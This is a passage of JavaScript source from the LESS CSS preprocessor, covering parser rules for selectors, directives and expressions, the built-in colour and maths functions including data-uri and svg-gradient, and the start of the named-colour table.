ommitted. // end: function () { return $char(';') || peekChar('}'); }, // // IE's alpha function // // alpha(opacity=88) // alpha: function () { var value; if (! $re(/^\(opacity=/i)) { return; } value = $re(/^\d+/) || this.entities.variable(); if (value) { expectChar(')'); return new(tree.Alpha)(value); } }, // // A Selector Element // // div // + h1 // #socks // input[type="text"] // // Elements are the building blocks for Selectors, // they are made out of a `Combinator` (see combinator rule), // and an element name, such as a tag a class, or `*`. // element: function () { var e, c, v, index = i; c = this.combinator(); e = $re(/^(?:\d+\.\d+|\d+)%/) || $re(/^(?:[.#]?|:*)(?:[\w-]|[^\x00-\x9f]|\\(?:[A-Fa-f0-9]{1,6} ?|[^A-Fa-f0-9]))+/) || $char('*') || $char('&') || this.attribute() || $re(/^\([^()@]+\)/) || $re(/^[\.#](?=@)/) || this.entities.variableCurly(); if (! e) { if ($char('(')) { if ((v = this.selector()) && $char(')')) { e = new(tree.Paren)(v); } } } if (e) { return new(tree.Element)(c, e, index, env.currentFileInfo); } }, // // Combinators combine elements together, in a Selector. // // Because our parser isn't white-space sensitive, special care // has to be taken, when parsing the descendant combinator, ` `, // as it's an empty space. We have to check the previous character // in the input, to see if it's a ` ` character. More info on how // we deal with this in *combinator.js*. // combinator: function () { var c = input.charAt(i); if (c === '>' || c === '+' || c === '~' || c === '|' || c === '^') { i++; if (input.charAt(i) === '^') { c = '^^'; i++; } while (isWhitespace(input, i)) { i++; } return new(tree.Combinator)(c); } else if (isWhitespace(input, i - 1)) { return new(tree.Combinator)(" "); } else { return new(tree.Combinator)(null); } }, // // A CSS selector (see selector below) // with less extensions e.g. the ability to extend and guard // lessSelector: function () { return this.selector(true); }, // // A CSS Selector // // .class > div + h1 // li a:hover // // Selectors are made out of one or more Elements, see above. // selector: function (isLess) { var index = i, $re = _$re, elements, extendList, c, e, extend, when, condition; while ((isLess && (extend = this.extend())) || (isLess && (when = $re(/^when/))) || (e = this.element())) { if (when) { condition = expect(this.conditions, 'expected condition'); } else if (condition) { error("CSS guard can only be used at the end of selector"); } else if (extend) { if (extendList) { extendList.push(extend); } else { extendList = [ extend ]; } } else { if (extendList) { error("Extend can only be used at the end of selector"); } c = input.charAt(i); if (elements) { elements.push(e); } else { elements = [ e ]; } e = null; } if (c === '{' || c === '}' || c === ';' || c === ',' || c === ')') { break; } } if (elements) { return new(tree.Selector)(elements, extendList, condition, index, env.currentFileInfo); } if (extendList) { error("Extend must be used to extend a selector, it cannot be used on its own"); } }, attribute: function () { if (! $char('[')) { return; } var entities = this.entities, key, val, op; if (!(key = entities.variableCurly())) { key = expect(/^(?:[_A-Za-z0-9-\*]*\|)?(?:[_A-Za-z0-9-]|\\.)+/); } op = $re(/^[|~*$^]?=/); if (op) { val = entities.quoted() || $re(/^[0-9]+%/) || $re(/^[\w-]+/) || entities.variableCurly(); } expectChar(']'); return new(tree.Attribute)(key, op, val); }, // // The `block` rule is used by `ruleset` and `mixin.definition`. // It's a wrapper around the `primary` rule, with added `{}`. // block: function () { var content; if ($char('{') && (content = this.primary()) && $char('}')) { return content; } }, // // div, .class, body > p {...} // ruleset: function () { var selectors, s, rules, debugInfo; save(); if (env.dumpLineNumbers) { debugInfo = getDebugInfo(i, input, env); } while (true) { s = this.lessSelector(); if (!s) { break; } if (selectors) { selectors.push(s); } else { selectors = [ s ]; } this.comments(); if (s.condition && selectors.length > 1) { error("Guards are only currently allowed on a single selector."); } if (! $char(',')) { break; } if (s.condition) { error("Guards are only currently allowed on a single selector."); } this.comments(); } if (selectors && (rules = this.block())) { var ruleset = new(tree.Ruleset)(selectors, rules, env.strictImports); if (env.dumpLineNumbers) { ruleset.debugInfo = debugInfo; } return ruleset; } else { // Backtrack furthest = i; restore(); } }, rule: function (tryAnonymous) { var name, value, c = input.charAt(i), important, merge = false; save(); if (c === '.' || c === '#' || c === '&') { return; } name = this.variable() || this.ruleProperty(); if (name) { // prefer to try to parse first if its a variable or we are compressing // but always fallback on the other one value = !tryAnonymous && (env.compress || (name.charAt && (name.charAt(0) === '@'))) ? (this.value() || this.anonymousValue()) : (this.anonymousValue() || this.value()); important = this.important(); // a name returned by this.ruleProperty() is always an array of the form: // [string-1, ..., string-n, ""] or [string-1, ..., string-n, "+"] // where each item is a tree.Keyword or tree.Variable merge = name.pop && (name.pop().value === "+"); if (value && this.end()) { return new (tree.Rule)(name, value, important, merge, memo, env.currentFileInfo); } else { furthest = i; restore(); if (value && !tryAnonymous) { return this.rule(true); } } } }, anonymousValue: function () { var match; match = /^([^@+\/'"*`(;{}-]*);/.exec(current); if (match) { i += match[0].length - 1; return new(tree.Anonymous)(match[1]); } }, // // An @import directive // // @import "lib"; // // Depending on our environemnt, importing is done differently: // In the browser, it's an XHR request, in Node, it would be a // file-system operation. The function used for importing is // stored in `import`, which we pass to the Import constructor. // "import": function () { var path, features, index = i; save(); var dir = $re(/^@import?\s+/); var options = (dir ? this.importOptions() : null) || {}; if (dir && (path = this.entities.quoted() || this.entities.url())) { features = this.mediaFeatures(); if ($char(';')) { features = features && new(tree.Value)(features); return new(tree.Import)(path, features, options, index, env.currentFileInfo); } } restore(); }, importOptions: function() { var o, options = {}, optionName, value; // list of options, surrounded by parens if (! $char('(')) { return null; } do { o = this.importOption(); if (o) { optionName = o; value = true; switch(optionName) { case "css": optionName = "less"; value = false; break; case "once": optionName = "multiple"; value = false; break; } options[optionName] = value; if (! $char(',')) { break; } } } while (o); expectChar(')'); return options; }, importOption: function() { var opt = $re(/^(less|css|multiple|once|inline|reference)/); if (opt) { return opt[1]; } }, mediaFeature: function () { var entities = this.entities, nodes = [], e, p; do { e = entities.keyword() || entities.variable(); if (e) { nodes.push(e); } else if ($char('(')) { p = this.property(); e = this.value(); if ($char(')')) { if (p && e) { nodes.push(new(tree.Paren)(new(tree.Rule)(p, e, null, null, i, env.currentFileInfo, true))); } else if (e) { nodes.push(new(tree.Paren)(e)); } else { return null; } } else { return null; } } } while (e); if (nodes.length > 0) { return new(tree.Expression)(nodes); } }, mediaFeatures: function () { var entities = this.entities, features = [], e; do { e = this.mediaFeature(); if (e) { features.push(e); if (! $char(',')) { break; } } else { e = entities.variable(); if (e) { features.push(e); if (! $char(',')) { break; } } } } while (e); return features.length > 0 ? features : null; }, media: function () { var features, rules, media, debugInfo; if (env.dumpLineNumbers) { debugInfo = getDebugInfo(i, input, env); } if ($re(/^@media/)) { features = this.mediaFeatures(); rules = this.block(); if (rules) { media = new(tree.Media)(rules, features, i, env.currentFileInfo); if (env.dumpLineNumbers) { media.debugInfo = debugInfo; } return media; } } }, // // A CSS Directive // // @charset "utf-8"; // directive: function () { var index = i, name, value, rules, nonVendorSpecificName, hasBlock, hasIdentifier, hasExpression, identifier; if (input.charAt(i) !== '@') { return; } value = this['import']() || this.media(); if (value) { return value; } save(); name = $re(/^@[a-z-]+/); if (!name) { return; } nonVendorSpecificName = name; if (name.charAt(1) == '-' && name.indexOf('-', 2) > 0) { nonVendorSpecificName = "@" + name.slice(name.indexOf('-', 2) + 1); } switch(nonVendorSpecificName) { case "@font-face": hasBlock = true; break; case "@viewport": case "@top-left": case "@top-left-corner": case "@top-center": case "@top-right": case "@top-right-corner": case "@bottom-left": case "@bottom-left-corner": case "@bottom-center": case "@bottom-right": case "@bottom-right-corner": case "@left-top": case "@left-middle": case "@left-bottom": case "@right-top": case "@right-middle": case "@right-bottom": hasBlock = true; break; case "@host": case "@page": case "@document": case "@supports": case "@keyframes": hasBlock = true; hasIdentifier = true; break; case "@namespace": hasExpression = true; break; } if (hasIdentifier) { identifier = ($re(/^[^{]+/) || '').trim(); if (identifier) { name += " " + identifier; } } if (hasBlock) { rules = this.block(); if (rules) { return new(tree.Directive)(name, rules, index, env.currentFileInfo); } } else { value = hasExpression ? this.expression() : this.entity(); if (value && $char(';')) { var directive = new(tree.Directive)(name, value, index, env.currentFileInfo); if (env.dumpLineNumbers) { directive.debugInfo = getDebugInfo(i, input, env); } return directive; } } restore(); }, // // A Value is a comma-delimited list of Expressions // // font-family: Baskerville, Georgia, serif; // // In a Rule, a Value represents everything after the `:`, // and before the `;`. // value: function () { var e, expressions = []; do { e = this.expression(); if (e) { expressions.push(e); if (! $char(',')) { break; } } } while(e); if (expressions.length > 0) { return new(tree.Value)(expressions); } }, important: function () { if (input.charAt(i) === '!') { return $re(/^! *important/); } }, sub: function () { var a, e; if ($char('(')) { a = this.addition(); if (a) { e = new(tree.Expression)([a]); expectChar(')'); e.parens = true; return e; } } }, multiplication: function () { var m, a, op, operation, isSpaced; m = this.operand(); if (m) { isSpaced = isWhitespace(input, i - 1); while (true) { if (peek(/^\/[*\/]/)) { break; } op = $char('/') || $char('*'); if (!op) { break; } a = this.operand(); if (!a) { break; } m.parensInOp = true; a.parensInOp = true; operation = new(tree.Operation)(op, [operation || m, a], isSpaced); isSpaced = isWhitespace(input, i - 1); } return operation || m; } }, addition: function () { var m, a, op, operation, isSpaced; m = this.multiplication(); if (m) { isSpaced = isWhitespace(input, i - 1); while (true) { op = $re(/^[-+]\s+/) || (!isSpaced && ($char('+') || $char('-'))); if (!op) { break; } a = this.multiplication(); if (!a) { break; } m.parensInOp = true; a.parensInOp = true; operation = new(tree.Operation)(op, [operation || m, a], isSpaced); isSpaced = isWhitespace(input, i - 1); } return operation || m; } }, conditions: function () { var a, b, index = i, condition; a = this.condition(); if (a) { while (true) { if (!peek(/^,\s*(not\s*)?\(/) || !$char(',')) { break; } b = this.condition(); if (!b) { break; } condition = new(tree.Condition)('or', condition || a, b, index); } return condition || a; } }, condition: function () { var entities = this.entities, index = i, negate = false, a, b, c, op; if ($re(/^not/)) { negate = true; } expectChar('('); a = this.addition() || entities.keyword() || entities.quoted(); if (a) { op = $re(/^(?:>=|<=|=<|[<=>])/); if (op) { b = this.addition() || entities.keyword() || entities.quoted(); if (b) { c = new(tree.Condition)(op, a, b, index, negate); } else { error('expected expression'); } } else { c = new(tree.Condition)('=', a, new(tree.Keyword)('true'), index, negate); } expectChar(')'); return $re(/^and/) ? new(tree.Condition)('and', c, this.condition()) : c; } }, // // An operand is anything that can be part of an operation, // such as a Color, or a Variable // operand: function () { var entities = this.entities, p = input.charAt(i + 1), negate; if (input.charAt(i) === '-' && (p === '@' || p === '(')) { negate = $char('-'); } var o = this.sub() || entities.dimension() || entities.color() || entities.variable() || entities.call(); if (negate) { o.parensInOp = true; o = new(tree.Negative)(o); } return o; }, // // Expressions either represent mathematical operations, // or white-space delimited Entities. // // 1px solid black // @var * 2 // expression: function () { var entities = [], e, delim; do { e = this.addition() || this.entity(); if (e) { entities.push(e); // operations do not allow keyword "/" dimension (e.g. small/20px) so we support that here if (!peek(/^\/[\/*]/)) { delim = $char('/'); if (delim) { entities.push(new(tree.Anonymous)(delim)); } } } } while (e); if (entities.length > 0) { return new(tree.Expression)(entities); } }, property: function () { var name = $re(/^(\*?-?[_a-zA-Z0-9-]+)\s*:/); if (name) { return name[1]; } }, ruleProperty: function () { var c = current, name = [], index = [], length = 0, s, k; function match(re) { var a = re.exec(c); if (a) { index.push(i + length); length += a[0].length; c = c.slice(a[1].length); return name.push(a[1]); } } match(/^(\*?)/); while (match(/^((?:[\w-]+)|(?:@\{[\w-]+\}))/)); // ! if ((name.length > 1) && match(/^\s*(\+?)\s*:/)) { // at last, we have the complete match now. move forward, // convert name particles to tree objects and return: skipWhitespace(length); if (name[0] === '') { name.shift(); index.shift(); } for (k = 0; k < name.length; k++) { s = name[k]; name[k] = (s.charAt(0) !== '@') ? new(tree.Keyword)(s) : new(tree.Variable)('@' + s.slice(2, -1), index[k], env.currentFileInfo); } return name; } } } }; return parser; }; less.Parser.serializeVars = function(vars) { var s = ''; for (var name in vars) { if (Object.hasOwnProperty.call(vars, name)) { var value = vars[name]; s += ((name[0] === '@') ? '' : '@') + name +': '+ value + ((('' + value).slice(-1) === ';') ? '' : ';'); } } return s; }; (function (tree) { tree.functions = { rgb: function (r, g, b) { return this.rgba(r, g, b, 1.0); }, rgba: function (r, g, b, a) { var rgb = [r, g, b].map(function (c) { return scaled(c, 255); }); a = number(a); return new(tree.Color)(rgb, a); }, hsl: function (h, s, l) { return this.hsla(h, s, l, 1.0); }, hsla: function (h, s, l, a) { function hue(h) { h = h < 0 ? h + 1 : (h > 1 ? h - 1 : h); if (h * 6 < 1) { return m1 + (m2 - m1) * h * 6; } else if (h * 2 < 1) { return m2; } else if (h * 3 < 2) { return m1 + (m2 - m1) * (2/3 - h) * 6; } else { return m1; } } h = (number(h) % 360) / 360; s = clamp(number(s)); l = clamp(number(l)); a = clamp(number(a)); var m2 = l <= 0.5 ? l * (s + 1) : l + s - l * s; var m1 = l * 2 - m2; return this.rgba(hue(h + 1/3) * 255, hue(h) * 255, hue(h - 1/3) * 255, a); }, hsv: function(h, s, v) { return this.hsva(h, s, v, 1.0); }, hsva: function(h, s, v, a) { h = ((number(h) % 360) / 360) * 360; s = number(s); v = number(v); a = number(a); var i, f; i = Math.floor((h / 60) % 6); f = (h / 60) - i; var vs = [v, v * (1 - s), v * (1 - f * s), v * (1 - (1 - f) * s)]; var perm = [[0, 3, 1], [2, 0, 1], [1, 0, 3], [1, 2, 0], [3, 1, 0], [0, 1, 2]]; return this.rgba(vs[perm[i][0]] * 255, vs[perm[i][1]] * 255, vs[perm[i][2]] * 255, a); }, hue: function (color) { return new(tree.Dimension)(Math.round(color.toHSL().h)); }, saturation: function (color) { return new(tree.Dimension)(Math.round(color.toHSL().s * 100), '%'); }, lightness: function (color) { return new(tree.Dimension)(Math.round(color.toHSL().l * 100), '%'); }, hsvhue: function(color) { return new(tree.Dimension)(Math.round(color.toHSV().h)); }, hsvsaturation: function (color) { return new(tree.Dimension)(Math.round(color.toHSV().s * 100), '%'); }, hsvvalue: function (color) { return new(tree.Dimension)(Math.round(color.toHSV().v * 100), '%'); }, red: function (color) { return new(tree.Dimension)(color.rgb[0]); }, green: function (color) { return new(tree.Dimension)(color.rgb[1]); }, blue: function (color) { return new(tree.Dimension)(color.rgb[2]); }, alpha: function (color) { return new(tree.Dimension)(color.toHSL().a); }, luma: function (color) { return new(tree.Dimension)(Math.round(color.luma() * color.alpha * 100), '%'); }, saturate: function (color, amount) { // filter: saturate(3.2); // should be kept as is, so check for color if (!color.rgb) { return null; } var hsl = color.toHSL(); hsl.s += amount.value / 100; hsl.s = clamp(hsl.s); return hsla(hsl); }, desaturate: function (color, amount) { var hsl = color.toHSL(); hsl.s -= amount.value / 100; hsl.s = clamp(hsl.s); return hsla(hsl); }, lighten: function (color, amount) { var hsl = color.toHSL(); hsl.l += amount.value / 100; hsl.l = clamp(hsl.l); return hsla(hsl); }, darken: function (color, amount) { var hsl = color.toHSL(); hsl.l -= amount.value / 100; hsl.l = clamp(hsl.l); return hsla(hsl); }, fadein: function (color, amount) { var hsl = color.toHSL(); hsl.a += amount.value / 100; hsl.a = clamp(hsl.a); return hsla(hsl); }, fadeout: function (color, amount) { var hsl = color.toHSL(); hsl.a -= amount.value / 100; hsl.a = clamp(hsl.a); return hsla(hsl); }, fade: function (color, amount) { var hsl = color.toHSL(); hsl.a = amount.value / 100; hsl.a = clamp(hsl.a); return hsla(hsl); }, spin: function (color, amount) { var hsl = color.toHSL(); var hue = (hsl.h + amount.value) % 360; hsl.h = hue < 0 ? 360 + hue : hue; return hsla(hsl); }, // // Copyright (c) 2006-2009 Hampton Catlin, Nathan Weizenbaum, and Chris Eppstein // http://sass-lang.com // mix: function (color1, color2, weight) { if (!weight) { weight = new(tree.Dimension)(50); } var p = weight.value / 100.0; var w = p * 2 - 1; var a = color1.toHSL().a - color2.toHSL().a; var w1 = (((w * a == -1) ? w : (w + a) / (1 + w * a)) + 1) / 2.0; var w2 = 1 - w1; var rgb = [color1.rgb[0] * w1 + color2.rgb[0] * w2, color1.rgb[1] * w1 + color2.rgb[1] * w2, color1.rgb[2] * w1 + color2.rgb[2] * w2]; var alpha = color1.alpha * p + color2.alpha * (1 - p); return new(tree.Color)(rgb, alpha); }, greyscale: function (color) { return this.desaturate(color, new(tree.Dimension)(100)); }, contrast: function (color, dark, light, threshold) { // filter: contrast(3.2); // should be kept as is, so check for color if (!color.rgb) { return null; } if (typeof light === 'undefined') { light = this.rgba(255, 255, 255, 1.0); } if (typeof dark === 'undefined') { dark = this.rgba(0, 0, 0, 1.0); } //Figure out which is actually light and dark! if (dark.luma() > light.luma()) { var t = light; light = dark; dark = t; } if (typeof threshold === 'undefined') { threshold = 0.43; } else { threshold = number(threshold); } if (color.luma() < threshold) { return light; } else { return dark; } }, e: function (str) { return new(tree.Anonymous)(str instanceof tree.JavaScript ? str.evaluated : str); }, escape: function (str) { return new(tree.Anonymous)(encodeURI(str.value).replace(/=/g, "%3D").replace(/:/g, "%3A").replace(/#/g, "%23").replace(/;/g, "%3B").replace(/\(/g, "%28").replace(/\)/g, "%29")); }, '%': function (quoted /* arg, arg, ...*/) { var args = Array.prototype.slice.call(arguments, 1), str = quoted.value; for (var i = 0; i < args.length; i++) { /*jshint loopfunc:true */ str = str.replace(/%[sda]/i, function(token) { var value = token.match(/s/i) ? args[i].value : args[i].toCSS(); return token.match(/[A-Z]$/) ? encodeURIComponent(value) : value; }); } str = str.replace(/%%/g, '%'); return new(tree.Quoted)('"' + str + '"', str); }, unit: function (val, unit) { if(!(val instanceof tree.Dimension)) { throw { type: "Argument", message: "the first argument to unit must be a number" + (val instanceof tree.Operation ? ". Have you forgotten parenthesis?" : "") }; } return new(tree.Dimension)(val.value, unit ? unit.toCSS() : ""); }, convert: function (val, unit) { return val.convertTo(unit.value); }, round: function (n, f) { var fraction = typeof(f) === "undefined" ? 0 : f.value; return _math(function(num) { return num.toFixed(fraction); }, null, n); }, pi: function () { return new(tree.Dimension)(Math.PI); }, mod: function(a, b) { return new(tree.Dimension)(a.value % b.value, a.unit); }, pow: function(x, y) { if (typeof x === "number" && typeof y === "number") { x = new(tree.Dimension)(x); y = new(tree.Dimension)(y); } else if (!(x instanceof tree.Dimension) || !(y instanceof tree.Dimension)) { throw { type: "Argument", message: "arguments must be numbers" }; } return new(tree.Dimension)(Math.pow(x.value, y.value), x.unit); }, _minmax: function (isMin, args) { args = Array.prototype.slice.call(args); switch(args.length) { case 0: throw { type: "Argument", message: "one or more arguments required" }; case 1: return args[0]; } var i, j, current, currentUnified, referenceUnified, unit, order = [], // elems only contains original argument values. values = {}; // key is the unit.toString() for unified tree.Dimension values, // value is the index into the order array. for (i = 0; i < args.length; i++) { current = args[i]; if (!(current instanceof tree.Dimension)) { order.push(current); continue; } currentUnified = current.unify(); unit = currentUnified.unit.toString(); j = values[unit]; if (j === undefined) { values[unit] = order.length; order.push(current); continue; } referenceUnified = order[j].unify(); if ( isMin && currentUnified.value < referenceUnified.value || !isMin && currentUnified.value > referenceUnified.value) { order[j] = current; } } if (order.length == 1) { return order[0]; } args = order.map(function (a) { return a.toCSS(this.env); }) .join(this.env.compress ? "," : ", "); return new(tree.Anonymous)((isMin ? "min" : "max") + "(" + args + ")"); }, min: function () { return this._minmax(true, arguments); }, max: function () { return this._minmax(false, arguments); }, argb: function (color) { return new(tree.Anonymous)(color.toARGB()); }, percentage: function (n) { return new(tree.Dimension)(n.value * 100, '%'); }, color: function (n) { if (n instanceof tree.Quoted) { var colorCandidate = n.value, returnColor; returnColor = tree.Color.fromKeyword(colorCandidate); if (returnColor) { return returnColor; } if (/^#([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})/.test(colorCandidate)) { return new(tree.Color)(colorCandidate.slice(1)); } throw { type: "Argument", message: "argument must be a color keyword or 3/6 digit hex e.g. #FFF" }; } else { throw { type: "Argument", message: "argument must be a string" }; } }, iscolor: function (n) { return this._isa(n, tree.Color); }, isnumber: function (n) { return this._isa(n, tree.Dimension); }, isstring: function (n) { return this._isa(n, tree.Quoted); }, iskeyword: function (n) { return this._isa(n, tree.Keyword); }, isurl: function (n) { return this._isa(n, tree.URL); }, ispixel: function (n) { return this.isunit(n, 'px'); }, ispercentage: function (n) { return this.isunit(n, '%'); }, isem: function (n) { return this.isunit(n, 'em'); }, isunit: function (n, unit) { return (n instanceof tree.Dimension) && n.unit.is(unit.value || unit) ? tree.True : tree.False; }, _isa: function (n, Type) { return (n instanceof Type) ? tree.True : tree.False; }, tint: function(color, amount) { return this.mix(this.rgb(255,255,255), color, amount); }, shade: function(color, amount) { return this.mix(this.rgb(0, 0, 0), color, amount); }, extract: function(values, index) { index = index.value - 1; // (1-based index) // handle non-array values as an array of length 1 // return 'undefined' if index is invalid return Array.isArray(values.value) ? values.value[index] : Array(values)[index]; }, length: function(values) { var n = Array.isArray(values.value) ? values.value.length : 1; return new tree.Dimension(n); }, "data-uri": function(mimetypeNode, filePathNode) { if (typeof window !== 'undefined') { return new tree.URL(filePathNode || mimetypeNode, this.currentFileInfo).eval(this.env); } var mimetype = mimetypeNode.value; var filePath = (filePathNode && filePathNode.value); var fs = require('fs'), path = require('path'), useBase64 = false; if (arguments.length < 2) { filePath = mimetype; } if (this.env.isPathRelative(filePath)) { if (this.currentFileInfo.relativeUrls) { filePath = path.join(this.currentFileInfo.currentDirectory, filePath); } else { filePath = path.join(this.currentFileInfo.entryPath, filePath); } } // detect the mimetype if not given if (arguments.length < 2) { var mime; try { mime = require('mime'); } catch (ex) { mime = tree._mime; } mimetype = mime.lookup(filePath); // use base 64 unless it's an ASCII or UTF-8 format var charset = mime.charsets.lookup(mimetype); useBase64 = ['US-ASCII', 'UTF-8'].indexOf(charset) < 0; if (useBase64) { mimetype += ';base64'; } } else { useBase64 = /;base64$/.test(mimetype); } var buf = fs.readFileSync(filePath); // IE8 cannot handle a data-uri larger than 32KB. If this is exceeded // and the --ieCompat flag is enabled, return a normal url() instead. var DATA_URI_MAX_KB = 32, fileSizeInKB = parseInt((buf.length / 1024), 10); if (fileSizeInKB >= DATA_URI_MAX_KB) { if (this.env.ieCompat !== false) { if (!this.env.silent) { console.warn("Skipped data-uri embedding of %s because its size (%dKB) exceeds IE8-safe %dKB!", filePath, fileSizeInKB, DATA_URI_MAX_KB); } return new tree.URL(filePathNode || mimetypeNode, this.currentFileInfo).eval(this.env); } } buf = useBase64 ? buf.toString('base64') : encodeURIComponent(buf); var uri = "\"data:" + mimetype + ',' + buf + "\""; return new(tree.URL)(new(tree.Anonymous)(uri)); }, "svg-gradient": function(direction) { function throwArgumentDescriptor() { throw { type: "Argument", message: "svg-gradient expects direction, start_color [start_position], [color position,]..., end_color [end_position]" }; } if (arguments.length < 3) { throwArgumentDescriptor(); } var stops = Array.prototype.slice.call(arguments, 1), gradientDirectionSvg, gradientType = "linear", rectangleDimension = 'x="0" y="0" width="1" height="1"', useBase64 = true, renderEnv = {compress: false}, returner, directionValue = direction.toCSS(renderEnv), i, color, position, positionValue, alpha; switch (directionValue) { case "to bottom": gradientDirectionSvg = 'x1="0%" y1="0%" x2="0%" y2="100%"'; break; case "to right": gradientDirectionSvg = 'x1="0%" y1="0%" x2="100%" y2="0%"'; break; case "to bottom right": gradientDirectionSvg = 'x1="0%" y1="0%" x2="100%" y2="100%"'; break; case "to top right": gradientDirectionSvg = 'x1="0%" y1="100%" x2="100%" y2="0%"'; break; case "ellipse": case "ellipse at center": gradientType = "radial"; gradientDirectionSvg = 'cx="50%" cy="50%" r="75%"'; rectangleDimension = 'x="-50" y="-50" width="101" height="101"'; break; default: throw { type: "Argument", message: "svg-gradient direction must be 'to bottom', 'to right', 'to bottom right', 'to top right' or 'ellipse at center'" }; } returner = '<?xml version="1.0" ?>' + '<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="100%" height="100%" viewBox="0 0 1 1" preserveAspectRatio="none">' + '<' + gradientType + 'Gradient id="gradient" gradientUnits="userSpaceOnUse" ' + gradientDirectionSvg + '>'; for (i = 0; i < stops.length; i+= 1) { if (stops[i].value) { color = stops[i].value[0]; position = stops[i].value[1]; } else { color = stops[i]; position = undefined; } if (!(color instanceof tree.Color) || (!((i === 0 || i+1 === stops.length) && position === undefined) && !(position instanceof tree.Dimension))) { throwArgumentDescriptor(); } positionValue = position ? position.toCSS(renderEnv) : i === 0 ? "0%" : "100%"; alpha = color.alpha; returner += '<stop offset="' + positionValue + '" stop-color="' + color.toRGB() + '"' + (alpha < 1 ? ' stop-opacity="' + alpha + '"' : '') + '/>'; } returner += '</' + gradientType + 'Gradient>' + '<rect ' + rectangleDimension + ' fill="url(#gradient)" /></svg>'; if (useBase64) { try { returner = require('./encoder').encodeBase64(returner); // TODO browser implementation } catch(e) { useBase64 = false; } } returner = "'data:image/svg+xml" + (useBase64 ? ";base64" : "") + "," + returner + "'"; return new(tree.URL)(new(tree.Anonymous)(returner)); } }; // these static methods are used as a fallback when the optional 'mime' dependency is missing tree._mime = { // this map is intentionally incomplete // if you want more, install 'mime' dep _types: { '.htm' : 'text/html', '.html': 'text/html', '.gif' : 'image/gif', '.jpg' : 'image/jpeg', '.jpeg': 'image/jpeg', '.png' : 'image/png' }, lookup: function (filepath) { var ext = require('path').extname(filepath), type = tree._mime._types[ext]; if (type === undefined) { throw new Error('Optional dependency "mime" is required for ' + ext); } return type; }, charsets: { lookup: function (type) { // assumes all text types are UTF-8 return type && (/^text\//).test(type) ? 'UTF-8' : ''; } } }; // Math var mathFunctions = { // name, unit ceil: null, floor: null, sqrt: null, abs: null, tan: "", sin: "", cos: "", atan: "rad", asin: "rad", acos: "rad" }; function _math(fn, unit, n) { if (!(n instanceof tree.Dimension)) { throw { type: "Argument", message: "argument must be a number" }; } if (unit == null) { unit = n.unit; } else { n = n.unify(); } return new(tree.Dimension)(fn(parseFloat(n.value)), unit); } // ~ End of Math // Color Blending // ref: http://www.w3.org/TR/compositing-1 function colorBlend(mode, color1, color2) { var ab = color1.alpha, cb, // backdrop as = color2.alpha, cs, // source ar, cr, r = []; // result ar = as + ab * (1 - as); for (var i = 0; i < 3; i++) { cb = color1.rgb[i] / 255; cs = color2.rgb[i] / 255; cr = mode(cb, cs); if (ar) { cr = (as * cs + ab * (cb - as * (cb + cs - cr))) / ar; } r[i] = cr * 255; } return new(tree.Color)(r, ar); } var colorBlendMode = { multiply: function(cb, cs) { return cb * cs; }, screen: function(cb, cs) { return cb + cs - cb * cs; }, overlay: function(cb, cs) { cb *= 2; return (cb <= 1) ? colorBlendMode.multiply(cb, cs) : colorBlendMode.screen(cb - 1, cs); }, softlight: function(cb, cs) { var d = 1, e = cb; if (cs > 0.5) { e = 1; d = (cb > 0.25) ? Math.sqrt(cb) : ((16 * cb - 12) * cb + 4) * cb; } return cb - (1 - 2 * cs) * e * (d - cb); }, hardlight: function(cb, cs) { return colorBlendMode.overlay(cs, cb); }, difference: function(cb, cs) { return Math.abs(cb - cs); }, exclusion: function(cb, cs) { return cb + cs - 2 * cb * cs; }, // non-w3c functions: average: function(cb, cs) { return (cb + cs) / 2; }, negation: function(cb, cs) { return 1 - Math.abs(cb + cs - 1); } }; // ~ End of Color Blending tree.defaultFunc = { eval: function () { var v = this.value_, e = this.error_; if (e) { throw e; } if (v != null) { return v ? tree.True : tree.False; } }, value: function (v) { this.value_ = v; }, error: function (e) { this.error_ = e; }, reset: function () { this.value_ = this.error_ = null; } }; function initFunctions() { var f, tf = tree.functions; // math for (f in mathFunctions) { if (mathFunctions.hasOwnProperty(f)) { tf[f] = _math.bind(null, Math[f], mathFunctions[f]); } } // color blending for (f in colorBlendMode) { if (colorBlendMode.hasOwnProperty(f)) { tf[f] = colorBlend.bind(null, colorBlendMode[f]); } } // default f = tree.defaultFunc; tf["default"] = f.eval.bind(f); } initFunctions(); function hsla(color) { return tree.functions.hsla(color.h, color.s, color.l, color.a); } function scaled(n, size) { if (n instanceof tree.Dimension && n.unit.is('%')) { return parseFloat(n.value * size / 100); } else { return number(n); } } function number(n) { if (n instanceof tree.Dimension) { return parseFloat(n.unit.is('%') ? n.value / 100 : n.value); } else if (typeof(n) === 'number') { return n; } else { throw { error: "RuntimeError", message: "color functions take numbers as parameters" }; } } function clamp(val) { return Math.min(1, Math.max(0, val)); } tree.fround = function(env, value) { var p; if (env && (env.numPrecision != null)) { p = Math.pow(10, env.numPrecision); return Math.round(value * p) / p; } else { return value; } }; tree.functionCall = function(env, currentFileInfo) { this.env = env; this.currentFileInfo = currentFileInfo; }; tree.functionCall.prototype = tree.functions; })(require('./tree')); (function (tree) { tree.colors = { 'aliceblue':'#f0f8ff', 'antiquewhite':'#faebd7', 'aqua':'#00ffff', 'aquamarine':'#7fffd4', 'azure':'#f0ffff', 'beige':'#f5f5dc', 'bisque':'#ffe4c4', 'black':'#000000', 'blanchedalmond':'#ffebcd', 'blue':'#0000ff', 'blueviolet':'#8a2be2', 'brown':'#a52a2a', 'burlywood':'#deb887', 'cadetblue':'#5f9ea0', 'chartreuse':'#7fff00', 'chocolate':'#d2691e', 'coral':'#ff7f50', 'cornflowerblue':'#6495ed', 'cornsilk':'#fff8dc', 'crimson':'#dc143c', 'cyan':'#00ffff', 'darkblue':'#00008b', 'darkcyan':'#008b8b', 'darkgoldenrod':'#b8860b', 'darkgray':'#a9a9a9', 'darkgrey':'#a9a9a9', 'darkgreen':'#006400', 'darkkhaki':'#bdb76b', 'darkmagenta':'#8b008b', 'darkolivegreen':'#556b2f', 'darkorange':'#ff8c00', 'darkorchid':'#9932cc', 'darkred':'#8b0000', 'darksalmon':'#e9967a', 'darkseagreen':'#8fbc8f', 'darkslateblue':'#483d8b', 'darkslategray':'#2f4f4f', 'darkslategrey':'#2f4f4f', 'darkturquoise':'#00ced1', 'darkviolet':'#9400d3', 'deeppink':'#ff1493', 'deepskyblue':'#00bfff', 'dimgray':'#696969', 'dimgrey':'#696969', 'dodgerblue':'#1e90ff', 'firebrick':'#b22222', 'floralwhite':'#fffaf0', 'forestgreen':'#228b22', 'fuchsia':'#ff00ff', 